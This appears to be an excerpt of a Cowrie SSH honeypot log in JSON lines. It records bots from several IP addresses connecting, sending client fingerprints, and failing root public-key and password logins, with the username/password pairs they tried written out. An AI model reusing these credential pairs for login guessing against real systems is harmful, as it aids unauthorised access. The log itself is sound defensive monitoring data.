AAAAB3NzaC1yc2EAAAADAQABAAACAQC3ukM0mJ0ZUiiuJ59/USSWFHX8F32FjChmbcXwnV1rDii7aFv0x35mZ6JcD0UpYURNLGmpmh14tSMqTBCT2FoakoKa5v/PXcjMlcesRrM0eb++2jKRyQcUvsnHpdG+CxoNQSWdnYoJsCbIYiHHtc8V3OxxmLBNgWoXI1gLPCPGx99vQeP1mGNEwIL+j17tZd/jSQGrpMQCPrmdaJugxM1sUkEXoURtOySdhBdRLv4BmQR99ABkUQnf5Ivpb2uALCbBtwH2IBDWuuct8sBqdqEEqy9PwyLUpEfq/qU2j5riq6rtKvt21w/HZeJg4IYy3ySM8kVLHYa5XAzLBWkIHyCQkFH9tJII9FmNAqhLj6UyLnglo3TiqNKmubc1Nvl+uy1G40HdFun19BK+qf+i5xvRZu0fvUTCOeFq2dw8dHq9/fOz6IElDPKBVuED1XqMgQlU9ni8LXY6oX7QXLtp8/DZ7oKf5Epx4Nlka2xtW3+CxKicL36ziI+Cnav+zFVbugnLBIqGh9boOwx69Kmp/edAhL9LRFA/E6thHh6TH3/qkTynLvJApYHOasGb0Z9HeW+fqnduF56H3z+x7Mi+N5J15jP9Min50M9768wZ863+sXKox78IGwkX9uWT7quY4aY4XkdPYvb9KEmGu9wFKx9wQIzlmimE1CkM507E0G9wmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.135959Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:38.164964Z","src_ip":"179.61.232.245","session":"910f1a05463c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":41332,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6981c86d16","protocol":"ssh","message":"New connection: 103.228.69.212:41332 (10.17.0.5:22) [session: fa6981c86d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:39.024900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:39.028876Z","src_ip":"103.228.69.212","session":"fa6981c86d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:39.261285Z","src_ip":"103.228.69.212","session":"fa6981c86d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:40.226854Z","src_ip":"103.228.69.212","session":"fa6981c86d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:34:41.465341Z","src_ip":"103.228.69.212","session":"fa6981c86d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f00ad7d0121","protocol":"ssh","message":"New connection: 211.254.212.59:42408 (10.17.0.5:22) [session: 7f00ad7d0121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:11.870992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:11.880104Z","src_ip":"211.254.212.59","session":"7f00ad7d0121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:12.078380Z","src_ip":"211.254.212.59","session":"7f00ad7d0121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:12.913626Z","src_ip":"211.254.212.59","session":"7f00ad7d0121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:14.115032Z","src_ip":"211.254.212.59","session":"7f00ad7d0121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":58228,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f56154420e","protocol":"ssh","message":"New connection: 103.228.69.212:58228 (10.17.0.5:22) [session: f9f56154420e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:36.916996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:36.921865Z","src_ip":"103.228.69.212","session":"f9f56154420e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:37.163617Z","src_ip":"103.228.69.212","session":"f9f56154420e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:38.115310Z","src_ip":"103.228.69.212","session":"f9f56154420e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:39.349052Z","src_ip":"103.228.69.212","session":"f9f56154420e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d564f9c0c957","protocol":"ssh","message":"New connection: 80.94.92.186:54098 (10.17.0.5:22) [session: d564f9c0c957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:56.325649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:56.486846Z","src_ip":"80.94.92.186","session":"d564f9c0c957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:56.491048Z","src_ip":"80.94.92.186","session":"d564f9c0c957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:57.832257Z","src_ip":"80.94.92.186","session":"d564f9c0c957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:35:59.150480Z","src_ip":"80.94.92.186","session":"d564f9c0c957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":59248,"dst_ip":"10.17.0.5","dst_port":22,"session":"01c77095edac","protocol":"ssh","message":"New connection: 211.254.212.59:59248 (10.17.0.5:22) [session: 01c77095edac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:08.341664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:08.346119Z","src_ip":"211.254.212.59","session":"01c77095edac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:08.546765Z","src_ip":"211.254.212.59","session":"01c77095edac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:09.381840Z","src_ip":"211.254.212.59","session":"01c77095edac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:10.596649Z","src_ip":"211.254.212.59","session":"01c77095edac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.34.162","src_port":35880,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c8eaa11e60","protocol":"ssh","message":"New connection: 103.161.34.162:35880 (10.17.0.5:22) [session: 23c8eaa11e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.287912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.293752Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.381776Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:d9:89:40:26:17:0b:39:39:2d:a9:fb:d3:fa:cf:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTypa2gaoViAlUZlBUZJkn/vkbBcgnVJ6oEPc/P5m/giDrBwV+G+yBs2ZVdoCq7EQOvtSRS6FWVXNkesdIyGuNXYAasGOYkj1Y8pp4SWKwGyR9z6nAvc9F4j124efX2qCx38Qyz/N6FpSS2cjskzpa+tV0RtahLtcTCmYW1tqrvtYbazz2MVYpptY/foFHgJaV9g0B5q75K3MTde5Bb7H/mGcT8z/AwlxFWFwRoxB7rthjHy2V8I/Rd6LzPVbEeTv5LhCqDi8PQjvjC9ldMXbPJX3K/zRHMlKTG4GUJYRF6g6seyzuZgiqIR4oNFDUHqc4zF41pSmf/9oPKMDWITpHtShTMf8lR5QTJ3wJ9mZXrFp4wWS3CB6zQWTxLk3fLIjcgJFgi6x7DisBhILr+D9oFA+b0Maji/GkSUudBcA2rhh6XYjP6oqbeKzFGtDIbZ7diFOEUUKqlG+LsvJ/c74tPCfs6osmdGcKFU11DMDKrscmYq1T/3Lhl5QtnfbVS9f3Q6hDnfVMT0rRnnkDpScDOAURjeDiYuyewF+3CkGYGLL8h/DWkLgk0bh4FAS2jeP0yi0CPn3p7DRrAL9R3nan/LzBHl4Q6+Oz8Cn+t5gBL20ecrYakYsAwciMu8HAT1Q5hNZPmdmK4QArDCK/2V3bVYwth9txqKWJOfpk5vmWeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:d9:89:40:26:17:0b:39:39:2d:a9:fb:d3:fa:cf:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.794744Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:d9:89:40:26:17:0b:39:39:2d:a9:fb:d3:fa:cf:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTypa2gaoViAlUZlBUZJkn/vkbBcgnVJ6oEPc/P5m/giDrBwV+G+yBs2ZVdoCq7EQOvtSRS6FWVXNkesdIyGuNXYAasGOYkj1Y8pp4SWKwGyR9z6nAvc9F4j124efX2qCx38Qyz/N6FpSS2cjskzpa+tV0RtahLtcTCmYW1tqrvtYbazz2MVYpptY/foFHgJaV9g0B5q75K3MTde5Bb7H/mGcT8z/AwlxFWFwRoxB7rthjHy2V8I/Rd6LzPVbEeTv5LhCqDi8PQjvjC9ldMXbPJX3K/zRHMlKTG4GUJYRF6g6seyzuZgiqIR4oNFDUHqc4zF41pSmf/9oPKMDWITpHtShTMf8lR5QTJ3wJ9mZXrFp4wWS3CB6zQWTxLk3fLIjcgJFgi6x7DisBhILr+D9oFA+b0Maji/GkSUudBcA2rhh6XYjP6oqbeKzFGtDIbZ7diFOEUUKqlG+LsvJ/c74tPCfs6osmdGcKFU11DMDKrscmYq1T/3Lhl5QtnfbVS9f3Q6hDnfVMT0rRnnkDpScDOAURjeDiYuyewF+3CkGYGLL8h/DWkLgk0bh4FAS2jeP0yi0CPn3p7DRrAL9R3nan/LzBHl4Q6+Oz8Cn+t5gBL20ecrYakYsAwciMu8HAT1Q5hNZPmdmK4QArDCK/2V3bVYwth9txqKWJOfpk5vmWeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.798699Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:29:5e:36:0a:92:cd:74:ed:84:a7:9e:47:28:9c:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1cdgbHtJyebV1VjRQIGLQslx+rIKnuTRIXuFuKMEmH47hH59qvtZQPOGDvpLAXkQzP3BTlT7cvSa5moESnMdsyZjQOrhaLFYz7zhQMEokZeFmFxRXN5TUKacQnVPuNtl43mrgmPygjpgUGi/7l9h0G1dwztH3yISGvebMtqJlDbcwBOoikGNXsuqTlNaoy6N8A4Z5ZuQjYUGJxOeLAeSztZ+3TaWANVQBq0BUyhwis9Nb8AOmR6+1LgKx10Z4hNBJJAQls6157rbEcfjzkXhFIMot40wt2N592xxRDBV2WWfUT2s7WUCq/O915eHvnZN8I4dWsiEzgACmuFFRjJtmsj4jjwdUNRYhziMEQRFTX0589Tk7+8P1Ou3PpoCYGjEHRm6rsFghQEhMY8cYK8Pic5NspziKMkXgYVuNqE1t+m/RNHyBzYzqNHuUJSmesTBhXOtIWufKXbwbQTk6JwjrrC+8+HUIFbi1sf1L+G/xy6TsTnxt/VzMKg7UZmLUy1yuPVFrgqe8+NTr68iLPvlyW0/UZ0+QMYo96PvGXWeEhy92SNGl3J5gy6pw6M34aflB2Z5QdPzJQ6R2xgUmbW7oxmIsx+rCyNQVjQ3UqAi9LcWeYhoHAmgstKzXgPDaBNxW3g7fsTHOI5Z06aiJ987bfLbSnJ1CqiyThgGysFhE5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:29:5e:36:0a:92:cd:74:ed:84:a7:9e:47:28:9c:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.887776Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
